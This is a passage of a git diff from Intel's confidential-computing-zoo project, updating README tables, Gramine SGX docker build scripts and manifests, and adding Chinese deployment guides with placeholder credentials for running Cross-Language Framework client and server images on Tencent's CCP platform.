diff --git a/README.md b/README.md index 83ca1266..bdc45a2e 100644 --- a/README.md +++ b/README.md @@ -248,7 +248,9 @@ document section that explains the corresponding details and then guides you to (RA-gRPC) - ByteDance Cloud + + ByteDance Cloud,
+ Microsoft Azure
Published @@ -713,25 +715,25 @@ of them is proven useful enough and stable enough via a thorough validation with CCZoo reference solutions running on various public cloud services, it will graduate from CCZoo and evolve to a standalone project. - +
+ + + + + +
- Incubating Component Project '*' + Incubating Component Project'*' -                                                                         Description +                                                                         Description - Status + Status - Validated in Public Cloud + Validated in Public Cloud
- RATS-TLS + RATS-TLS This project provides a proof-of-concept implementation on how to integrate Intel SGX and TDX remote attestation into the TLS connection setup. Conceptually, it extends the standard X.509 certificate with SGX and TDX related information. It also provides two non-SGX clients (Wolfssl and OpenSSL) to show how seamless remote attestation works with different TLS libraries.  @@ -740,12 +742,12 @@ from CCZoo and evolve to a standalone project. Published - Alibaba Cloud + Alibaba Cloud
- RA-TLS Enhanced gRPC + RA-TLS Enhanced gRPC This project provides an enhanced gRPC (Remote Procedure Call) framework to guarantee security during transmission and runtime via two-way RA-TLS (Intel SGX Remote Attestation with Transport Layer Security) based on TEE (Trusted Execution Environment). @@ -754,15 +756,28 @@ from CCZoo and evolve to a standalone project. Published - Alibaba Cloud,
+ Alibaba Cloud,
Tencent Cloud,
-ByteDance Cloud
+ByteDance Cloud +
+ HTTPA + +  HTTPA aims for two purposes. First, help perform remote attestation on the web application running inside the TEE in which the flow can be unilateral (one-way HTTPA) or bilateral (mutual HTTPA) by verifying attestation evidence with a verifier such as a trusted authority (TA). Second, help build secure communication directly with the web application at L7 running inside the TEE. 
+
+ Published + + /
- --- # Cloud Deployment @@ -896,7 +911,7 @@ Below table shows solutions and component projects validated in public clouds. A - / + N/A sgx-dcap-server-tc.sh.tencent.cn  @@ -975,6 +990,9 @@ Set Intersection (PSI)
  • Secure Logistic Logical Regression Inference with HE and SGX
  • +
  • + Private Set Intersection (PSI) +

  • diff --git a/cczoo/common/docker/gramine/README.md b/cczoo/common/docker/gramine/README.md index 355796a7..7a939478 100644 --- a/cczoo/common/docker/gramine/README.md +++ b/cczoo/common/docker/gramine/README.md @@ -26,7 +26,8 @@ Execute the following command to build this docker image: ``` base_image=ubuntu:20.04 image_tag=gramine-sgx-dev:v1.2-ubuntu20.04-latest -./build_docker_image.sh ${base_image} ${image_tag} +build_type=release +./build_docker_image.sh ${base_image} ${image_tag} ${build_type} ``` -`ubuntu:18.04` and `ubuntu:20.04` could be selected as base_image. +`ubuntu:18.04`, `ubuntu:20.04` and `anolisos` could be selected as base_image. diff --git a/cczoo/common/docker/gramine/build_docker_image.sh b/cczoo/common/docker/gramine/build_docker_image.sh old mode 100644 new mode 100755 index c03b2996..7edc065f --- a/cczoo/common/docker/gramine/build_docker_image.sh +++ b/cczoo/common/docker/gramine/build_docker_image.sh @@ -16,34 +16,55 @@ #!/bin/bash set -e -if [ "$1" == "anolisos" ] ; then +function usage_help() { + echo -e "usage_help:" + echo -e ' ./build_docker_image.sh ${base_image} ${image_tag} ${build_type}' + echo -e " {base_image}" + echo -e " ubuntu:18.04 | ubuntu20.04 | anolisos" + echo -e " {image_tag}" + echo -e " customed image tag" + echo -e " {build_type}" + echo -e " release | debug" +} + +usage_help + +if [ -n "$1" ] ; then base_image=$1 else base_image=ubuntu:20.04 - fi -if [ -n "$2" ] ; then +if [ "$2" == "anolisos" ] ; then + image_tag=gramine-sgx-dev:v1.2-anolisos +elif [ -n "$2" ] ; then image_tag=$2 else image_tag=gramine-sgx-dev:v1.2-ubuntu20.04-latest fi +if [ -n "$3" ] ; then + build_type=$3 +else + build_type=release +fi + # You can remove no_proxy and proxy_server if your network doesn't need it no_proxy="localhost,127.0.0.1" -proxy_server="" # your http proxy server +# proxy_server="" # your http proxy server cd `dirname $0` -if [ ${base_image} == "anolisos" ] ; then +if [ "${base_image}" == "anolisos" ] ; then DOCKER_BUILDKIT=0 docker build \ --build-arg no_proxy=${no_proxy} \ --build-arg http_proxy=${proxy_server} \ --build-arg https_proxy=${proxy_server} \ --build-arg base_image=${base_image} \ --build-arg BASE_IMAGE=${base_image} \ + --build-arg BUILD_TYPE=${build_type} \ -f gramine-sgx-dev:v1.2-anolisos.dockerfile \ - -t gramine-sgx-dev:v1.2-anolisos \ + -t ${image_tag} \ . else DOCKER_BUILDKIT=0 docker build \ @@ -52,8 +73,9 @@ DOCKER_BUILDKIT=0 docker build \ --build-arg https_proxy=${proxy_server} \ --build-arg base_image=${base_image} \ --build-arg BASE_IMAGE=${base_image} \ + --build-arg BUILD_TYPE=${build_type} \ -f gramine-sgx-dev.dockerfile \ - -t gramine-sgx-dev:v1.2-ubuntu20.04-latest \ + -t ${image_tag} \ . fi cd - diff --git a/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile b/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile index d6a07f51..9e7ef888 100644 --- a/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile +++ b/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile @@ -89,10 +89,11 @@ RUN git clone https://github.com/intel/SGXDataCenterAttestationPrimitives.git ${ # COPY gramine/patches ${GRAMINEDIR} # RUN cd ${GRAMINEDIR} \ # && git apply *.diff - # RUN openssl genrsa -3 -out ${SGX_SIGNER_KEY} 3072 + +ARG BUILD_TYPE=release RUN cd ${GRAMINEDIR} \ - && LD_LIBRARY_PATH="" meson setup build/ --buildtype=debug -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \ + && LD_LIBRARY_PATH="" meson setup build/ --buildtype=${BUILD_TYPE} -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \ && LD_LIBRARY_PATH="" ninja -C build/ \ && LD_LIBRARY_PATH="" ninja -C build/ install @@ -122,14 +123,6 @@ RUN gramine-sgx-gen-private-key COPY configs / -RUN gramine-sgx-gen-private-key - -COPY configs / - -RUN gramine-sgx-gen-private-key - -COPY configs / - # Use it to ignore packages authenticate in apt-get # ENV apt_arg="-o Acquire::AllowInsecureRepositories=true \ # -o Acquire::AllowDowngradeToInsecureRepositories=true" diff --git a/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile b/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile index f0b66909..cdefc7c4 100644 --- a/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile +++ b/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile @@ -34,7 +34,7 @@ RUN mkdir /opt/intel && cd /opt/intel \ && sha256sum sgx_rpm_local_repo.tar.gz \ && tar xvf sgx_rpm_local_repo.tar.gz \ && yum-config-manager --add-repo file:///opt/intel/sgx_rpm_local_repo \ - && yum -y --nogpgcheck install libsgx-urts libsgx-launch libsgx-epid libsgx-quote-ex libsgx-dcap-ql libsgx-uae-service libsgx-dcap-quote-verify-devel + && yum -y --nogpgcheck install libsgx-urts libsgx-launch libsgx-epid libsgx-quote-ex libsgx-dcap-ql libsgx-uae-service libsgx-dcap-quote-verify-devel \ && yum -y groupinstall 'Development Tools' # COPY patches/libsgx_dcap_quoteverify.so /usr/lib64/ @@ -67,9 +67,9 @@ RUN git clone https://github.com/intel/SGXDataCenterAttestationPrimitives.git ${ && cd ${ISGX_DRIVER_PATH} \ && git checkout ${SGX_DCAP_VERSION} -ENV LD_LIBRARY_PATH=${INSTALL_PREFIX}/lib:${INSTALL_PREFIX}/lib64:${LD_LIBRARY_PATH} +ARG BUILD_TYPE=release RUN cd ${GRAMINEDIR} \ - && LD_LIBRARY_PATH="" meson setup build/ --buildtype=debug -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \ + && LD_LIBRARY_PATH="" meson setup build/ --buildtype=${BUILD_TYPE} -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \ && LD_LIBRARY_PATH="" ninja -C build/ \ && LD_LIBRARY_PATH="" ninja -C build/ install RUN gramine-sgx-gen-private-key diff --git a/cczoo/cross_lang_framework/ccp/README_for_clf_client.md b/cczoo/cross_lang_framework/ccp/README_for_clf_client.md new file mode 100644 index 00000000..1b995595 --- /dev/null +++ b/cczoo/cross_lang_framework/ccp/README_for_clf_client.md @@ -0,0 +1,57 @@ +# 在CCP平台上运行clf_client服务 +本文档是关于在CCP平台上构建CLF框架中的clf_server镜像并运行该镜像的说明文档,阐述了用户在CCP平台上运行clf_server镜像服务的过程. + +## CLF技术架构 +Cross language Framework(CLF),基于Gramine和Intel SGX技术,是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. 多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见. CLF框架主要由clf_server端和clf_client端两部分构成: +- **clf_client端**,具备Intel SGX功能的可以提供可信执行环境的为clf_client端, clf_client端只有一个, 运行着多方机密计算的程序; +- **clf_server端**,保存有机密数据的为clf_server端,供clf_client读写数据。每次读写数据都会先自动验证clf_client的合法性,即为SGX的可信执行环境(enclave),认证通过之后才会运行数据的读写。一套解决方案中可以同时存在多个clf_server端 + +## 环境配置信息 +- Kernel: 版本5.11及以上. +- 需安装Docker: 请参考 [引导](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script)来安装Docker服务. +- 规格: 选择内存型中的M6ce机型,加密内存>=4G + +## 基于CCP部署CLF框架之客户端 +### 1. 准备工作 +在机器上,首先下载如下开源库: +``` +git clone https://github.com/intel/confidential-computing-zoo.git +``` + +### 2. 创建clf_client镜像 + ``` + cd /confidential-computing-zoo/cczoo/cross_lang_framework/docker/ + ./build_clf_client_docker_image.sh #生成clf_client sdk镜像 + ./build_clf_client_app_docker_image.sh #生成sample app镜像,**实际应用中此处应该替换成用户实际的基于clf_client sdk开发的app** + ``` + +### 3. 打包成CCP镜像 + ``` + ccp-cli pack --app-entry="/usr/bin/java" + --memsize=8192M --thread=64 + --tmpl=clf_client + --secret-id=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + --secret-key=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk + --capp-id=capp-ODdjZWZhOWYt + --app-image=clf-client:gramine1.3-ubuntu20.04 + --app-type=image + --start=/clf/cczoo/cross_lang_framework/clf_client/app + ``` + - `memsize`和`thread`可以根据用户APP实际需求自己定义 + - `secret-key`,`secret-id`,`capp-id`根据用户在CCP平台上的账户和实例ID填写 + - 其余参数保持默认即可 + + ### 4. 运行clf_client镜像 + ``` + docker run -ti --device /dev/sgx_enclave --device /dev/sgx_provision + -v :/app_repo/cczoo/cross_lang_framework/clf_client/app/certs/ca_cert.crt + --add-host=: sec_clf-client:gramine1.3-ubuntu20.04 + -Xmx4G clf_test + ``` + 这个指令的作用是将CCP平台上的clf-client镜像运行起来 + - `--device`, CCP镜像依赖于intel的SGX, 需要将设备`/dev/sgx_enclave和/dev/sgx_provision`映射进container. + - `-v`,将根证书映射进container。此证书用于验证server证书的合法性。证书的生成可以参考使用tools/gen_cert.sh,将生成的ca_cert.crt映射进container. + - `--add-host`,为了让容器识别clf_server的主机名, 需要根据自己的需要将主机名和ip地址的匹配关系映射进container + - ` -Xmx4G clf_test ` app具体需要的参数, 用户需要根据自己的APP参数对这部分进行修改 + + CLF开发和配置细节请参考 [CLF文档](https://github.com/intel/confidential-computing-zoo/blob/main/cczoo/cross_lang_framework/README.md) diff --git a/cczoo/cross_lang_framework/ccp/README_for_clf_server.md b/cczoo/cross_lang_framework/ccp/README_for_clf_server.md new file mode 100644 index 00000000..f586e7e5 --- /dev/null +++ b/cczoo/cross_lang_framework/ccp/README_for_clf_server.md @@ -0,0 +1,55 @@ +# 在CCP平台上运行clf_server服务 +本文档是关于在CCP平台上构建CLF框架中的clf_server镜像并运行该镜像的说明文档,阐述了用户在CCP平台上运行clf_server镜像服务的过程. + +## CLF技术架构 +Cross language Framework(CLF),基于Gramine和Intel SGX技术,是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. 多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见. CLF框架主要由clf_server端和clf_client端两部分构成: +- **clf_client端**,具备Intel SGX功能的可以提供可信执行环境的为clf_client端, clf_client端只有一个, 运行着多方机密计算的程序; +- **clf_server端**,保存有机密数据的为clf_server端,供clf_client读写数据。每次读写数据都会先自动验证clf_client的合法性,即为SGX的可信执行环境(enclave),认证通过之后才会运行数据的读写。一套解决方案中可以同时存在多个clf_server端 + +## 环境配置信息 +- Kernel: 版本5.11及以上. +- 需安装Docker: 请参考 [引导](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script)来安装Docker服务. +- 规格: 选择内存型中的M6ce机型,加密内存>=4G + +## 基于CCP部署clf_server镜像 +### 1. 准备工作 +在机器上,首先下载如下开源库: +``` +git clone https://github.com/intel/confidential-computing-zoo.git +``` + +### 2. 创建clf_server镜像 + ``` + cd /confidential-computing-zoo/cczoo/cross_lang_framework/docker/ + ./build_clf_server_docker_image.sh + ``` + +### 3. 打包成CCP镜像 +``` + ccp-cli pack --app-entry="/clf/cczoo/cross_lang_framework/clf_server/clf_server" + --memsize=8192M --thread=64 + --tmpl=default + --secret-id=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + --secret-key=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk + --capp-id=capp-Y2IyNGM1YzAt + --app-image=clf-server:gramine1.3-ubuntu20.04 + --app-type=image + --start=/clf/cczoo/cross_lang_framework/clf_server + ``` +参数`secret-key`,`secret-id`,`capp-id`替换成用户实际有效的值,参数`app-image`是用户之间创建的`clf-server`镜像的标签, 默认是`clf-server:gramine1.3-ubuntu20.04`,其他参数保持参考指令里的值即可。 + + ### 4. 运行clf_server镜像 + ``` + docker run -it -p 4433:4433 --device /dev/sgx_enclave --device /dev/sgx_provision + -v :/clf/cczoo/cross_lang_framework/clf_server/certs + -v :/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf + sec_clf-server:gramine1.3-ubuntu20.04 + ``` + 这个指令的作用是将打包好的clf-server的CCP镜像运行起来 + +- `-p`端口号, 默认是4433端口 +- `--device`, CCP镜像依赖于intel的SGX, 需要将设备`/dev/sgx_enclave和/dev/sgx_provision`映射进container. +- `-v`, 将证书文件夹映射进container:`/clf/cczoo/cross_lang_framework/clf_server/certs`, 证书的生成可以参考使用tools/gen_cert.sh,将生成的server_private_key.pem和server_signed_cert.crt映射进container。 +- `-v`, 将配置文件映射进container: `/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf` + +配置细节请参考 [CLF文档](https://github.com/intel/confidential-computing-zoo/blob/main/cczoo/cross_lang_framework/README.md) diff --git a/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md new file mode 100644 index 00000000..68e5bc28 --- /dev/null +++ b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md @@ -0,0 +1,18 @@ +## 应用名称 +Cross-language Framework client +## 应用版本 +1.0 +## 分类 +机密计算 +## 描述 +基于Gramine和Intel SGX技术,是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. +多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见, 主要由clf_server端和clf_client端两部分构成 +clf_client端,具备Intel SGX功能的可以提供可信执行环境的,运行着多方机密计算的程序; +## 参考链接 +https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/ccp +## 官方网站 +https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/ +## 创建时间 +2022-10-27 14:06:28 +## 使用次数 +0 diff --git a/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md new file mode 100644 index 00000000..3180d56f --- /dev/null +++ b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md @@ -0,0 +1,18 @@ +## 应用名称 +Cross-language Framework server +## 应用版本 +1.0 +## 分类 +机密计算 +## 描述 +基于Gramine和Intel SGX技术,是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. +可以在多个参与方各自拥有部分机密数据进行合作的场景下进行共同运算,做到数据可用不可见, 主要由clf_server端和clf_client端两部分构成 +clf_server端保存有机密数据,供clf_client读写 +## 参考链接 +https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/ccp +## 官方网站 +https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework +## 创建时间 +2022-10-27 14:06:28 +## 使用次数 +0 diff --git a/cczoo/cross_lang_framework/ccp/clf_server.toml b/cczoo/cross_lang_framework/ccp/clf_server.toml new file mode 100644 index 00000000..b99740a9 --- /dev/null +++ b/cczoo/cross_lang_framework/ccp/clf_server.toml @@ -0,0 +1,33 @@ +# Basic template + +app.capi_target = "ccp.tencentcloudapi.com" +app.kms_target = "kms.tencentcloudapi.com" + +loader.entrypoint = "file:{{ gramine.libos }}" +loader.log_level = "error" + +loader.env.LD_LIBRARY_PATH = "/lib:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu" +loader.env.PATH = "/usr/bin" + +loader.insecure__use_cmdline_argv = true + +fs.root.type = "chroot" +fs.root.path = "/" +fs.root.uri = "file:/" + +fs.mount.lib.type = "chroot" +fs.mount.lib.path = "/lib" +fs.mount.lib.uri = "file:{{ gramine.runtimedir() }}" + +sgx.nonpie_binary = true +sgx.enclave_size = "256M" +sgx.thread_num = 4 +sgx.remote_attestation = true + +sgx.trusted_files = [ + "file:{{ gramine.runtimedir() }}/", +] + +sgx.allowed_files = [ + "file:/", +] diff --git a/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh b/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh index e6a2a9da..ccda4fbe 100755 --- a/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh +++ b/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh @@ -21,19 +21,18 @@ GREEN="\033[32m" YELLOW="\033[33m" #below is fake secret, you need to replace with your valid ones -echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/usr/bin/java\"" -echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64" -echo -e " ${GREEN}--tmpl${COLORLESS}=clf_client" -echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk" -echo -e " ${GREEN}--capp-id${COLORLESS}=capp-ODdjZWZhOWYt" -echo -e " ${GREEN}--app-image${COLORLESS}=clf-client:gramine1.3-ubuntu20.04" -echo -e " ${GREEN}--app-type${COLORLESS}=image" +echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/usr/bin/java\"\\" +echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64\\" +echo -e " ${GREEN}--tmpl${COLORLESS}=clf_client\\" +echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\" +echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk\\" +echo -e " ${GREEN}--capp-id${COLORLESS}=capp-ODdjZWZhOWYt\\" +echo -e " ${GREEN}--app-image${COLORLESS}=clf-client:gramine1.3-ubuntu20.04\\" +echo -e " ${GREEN}--app-type${COLORLESS}=image\\" echo -e " ${GREEN}--start${COLORLESS}=/clf/cczoo/cross_lang_framework/clf_client/app" echo -e "" # just an example about how to run -echo -e "docker run -ti ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision" -echo -e " ${GREEN}--add-host${COLORLESS}=VM-30-8-ubuntu:10.0.30.8 clf-client:gramine1.3-ubuntu20.04" +echo -e "docker run -ti ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision\\" +echo -e " ${GREEN}--add-host${COLORLESS}=VM-30-8-ubuntu:10.0.30.8 clf-client:gramine1.3-ubuntu20.04\\" echo -e " -Xmx4G clf_test VM-30-8-ubuntu" echo -e "" - diff --git a/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh b/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh index 86d2822e..2f99c940 100755 --- a/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh +++ b/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh @@ -20,20 +20,19 @@ RED="\033[31m" GREEN="\033[32m" YELLOW="\033[33m" #below is fake secret, you need to replace with your valid ones -echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/clf/cczoo/cross_lang_framework/clf_server/clf_server\"" -echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64" -echo -e " ${GREEN}--tmpl${COLORLESS}=default" -echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk" -echo -e " ${GREEN}--capp-id${COLORLESS}=capp-Y2IyNGM1YzAt" -echo -e " ${GREEN}--app-image${COLORLESS}=clf-server:gramine1.3-ubuntu20.04" -echo -e " ${GREEN}--app-type${COLORLESS}=image" +echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/clf/cczoo/cross_lang_framework/clf_server/clf_server\"\\" +echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64\\" +echo -e " ${GREEN}--tmpl${COLORLESS}=default\\" +echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\" +echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk\\" +echo -e " ${GREEN}--capp-id${COLORLESS}=capp-Y2IyNGM1YzAt\\" +echo -e " ${GREEN}--app-image${COLORLESS}=clf-server:gramine1.3-ubuntu20.04\\" +echo -e " ${GREEN}--app-type${COLORLESS}=image\\" echo -e " ${GREEN}--start${COLORLESS}=/clf/cczoo/cross_lang_framework/clf_server" echo -e "" # just an example about how to run -echo -e "docker run -it ${GREEN}-p${COLORLESS} 4433:4433 ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision" -echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/certs:/clf/cczoo/cross_lang_framework/clf_server/certs" -echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/clf_server.conf:/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf" +echo -e "docker run -it ${GREEN}-p${COLORLESS} 4433:4433 ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision\\" +echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/certs:/clf/cczoo/cross_lang_framework/clf_server/certs\\" +echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/clf_server.conf:/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf\\" echo -e " ${GREEN}--add-host${COLORLESS}=VM-0-3-ubuntu:10.206.0.3 clf-server:gramine1.3-ubuntu20.04" echo -e "" - diff --git a/cczoo/cross_lang_framework/clf_client/app/java.manifest.template b/cczoo/cross_lang_framework/clf_client/app/java.manifest.template index 5d900d42..a94ef581 100644 --- a/cczoo/cross_lang_framework/clf_client/app/java.manifest.template +++ b/cczoo/cross_lang_framework/clf_client/app/java.manifest.template @@ -43,7 +43,6 @@ sgx.trusted_files = [ "file:GramineJni/gramine_jni.class", "file:GramineJni/gramine_xx.class", "file:/usr/lib/libgramine_jni.so", - "file:certs/ca_cert.crt", # "file:/home/ubuntu/readonly/", ] @@ -56,6 +55,7 @@ sgx.allowed_files = [ "file:/etc/passwd", "file:/etc/gai.conf", "file:/etc/resolv.conf", + "file:certs/ca_cert.crt", # "file:/home/ubuntu/plain", ] diff --git a/cczoo/cross_lang_framework/clf_server/clf_server.c b/cczoo/cross_lang_framework/clf_server/clf_server.c index 253ab263..3b2b7ff1 100644 --- a/cczoo/cross_lang_framework/clf_server/clf_server.c +++ b/cczoo/cross_lang_framework/clf_server/clf_server.c @@ -33,19 +33,12 @@ #include "clf_server.h" #include "cmd_params.h" -#define WRAP_KEY_SIZE 16 -#define MRSIGNER_LEN 32 -#define MRENCLAVE_LEN 32 log_level_t g_log_level = LOG_LEVEL_INFO; static pthread_mutex_t g_print_lock; char g_secret_pf_key_hex[WRAP_KEY_SIZE * 2 + 1] = {0}; -#define MR_LEN 32 -char g_mrenclave[MR_LEN] = {0}; -char g_mrsigner[MR_LEN] = {0}; -uint16_t g_isv_prod_id = 0; -uint16_t g_isv_svn = 0; +struct cmd_params params; /* network port clf_server binding */ uint16_t g_port = 4433; @@ -81,23 +74,23 @@ static int verify_measurements_callback(const char* mrenclave, const char* mrsig pthread_mutex_unlock(&g_print_lock); char null_mrenclave[MRENCLAVE_LEN] = {0}; char null_mrsigner[MRSIGNER_LEN] = {0}; - if(memcmp(g_mrenclave, null_mrenclave, MRENCLAVE_LEN)) { - if(memcmp(g_mrenclave, mrenclave, MRENCLAVE_LEN)) { + if(memcmp(params.MREnclave, null_mrenclave, MRENCLAVE_LEN)) { + if(memcmp(params.MREnclave, mrenclave, MRENCLAVE_LEN)) { printf("mrenclave mismatch\n"); return ret; } } - if(memcmp(g_mrsigner, null_mrsigner, MRSIGNER_LEN)) { - if(memcmp(g_mrsigner, mrsigner, MRSIGNER_LEN)) { + if(memcmp(params.MRSigner, null_mrsigner, MRSIGNER_LEN)) { + if(memcmp(params.MRSigner, mrsigner, MRSIGNER_LEN)) { printf("mrsigner mismatch\n"); return ret; } } - if(g_isv_prod_id!=0 && g_isv_prod_id!=*((uint16_t*)isv_prod_id)) { + if(params.isv_prod_id!=0 && params.isv_prod_id!=*((uint16_t*)isv_prod_id)) { printf("isv_prod_id mismatch\n"); return ret; } - if(g_isv_svn!=0 && g_isv_svn!=*((uint16_t*)isv_svn)){ + if(params.isv_svn!=0 && params.isv_svn!=*((uint16_t*)isv_svn)){ printf("isv_svn mismatch\n"); return ret; } @@ -110,7 +103,6 @@ int main(int argc, char** argv) { if (ret < 0) return ret; - struct cmd_params params; int status = 1; status = cmd_params_process(argc, argv, ¶ms); if (status != 0) diff --git a/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh b/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh new file mode 100755 index 00000000..99a862d0 --- /dev/null +++ b/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh @@ -0,0 +1,47 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#!/bin/bash +set -e + +if [ -n "$1" ] ; then + base_image=$1 +else + base_image=clf-client:gramine1.3-ubuntu20.04 +fi + +if [ -n "$2" ] ; then + image_tag=$2 +else + image_tag=clf-client-app:gramine1.3-ubuntu20.04 +fi + +# You can remove no_proxy and proxy_server if your network doesn't need it +no_proxy="localhost,127.0.0.1" +proxy_server="" # your http proxy server + +cd `dirname $0` + +DOCKER_BUILDKIT=0 docker build \ + --build-arg no_proxy=${no_proxy} \ + --build-arg http_proxy=${proxy_server} \ + --build-arg https_proxy=${proxy_server} \ + --build-arg base_image=${base_image} \ + --build-arg BASE_IMAGE=${base_image} \ + -f clf_client_app.dockerfile \ + -t ${image_tag} \ + ../.. + +cd - diff --git a/cczoo/cross_lang_framework/docker/clf_client.dockerfile b/cczoo/cross_lang_framework/docker/clf_client.dockerfile index f68bd688..7fb48ed6 100644 --- a/cczoo/cross_lang_framework/docker/clf_client.dockerfile +++ b/cczoo/cross_lang_framework/docker/clf_client.dockerfile @@ -74,7 +74,7 @@ RUN apt-get update && apt-get install -y bison gawk nasm python3-click python3-j libgmp-dev libmpfr-dev libmpc-dev libisl-dev RUN pip3 install --upgrade pip \ - && pip3 install 'meson>=0.56' 'toml>=0.10' cryptography + && pip3 install 'meson>=0.56' 'toml>=0.10' # for debug, just copy gramine from local in case failed to clone from github #RUN mkdir -p ${GRAMINEDIR} @@ -145,15 +145,11 @@ ARG CLF_DIR=/clf ENV CLF_PATH=${CLF_DIR} RUN n=0; until [ $n -ge 100 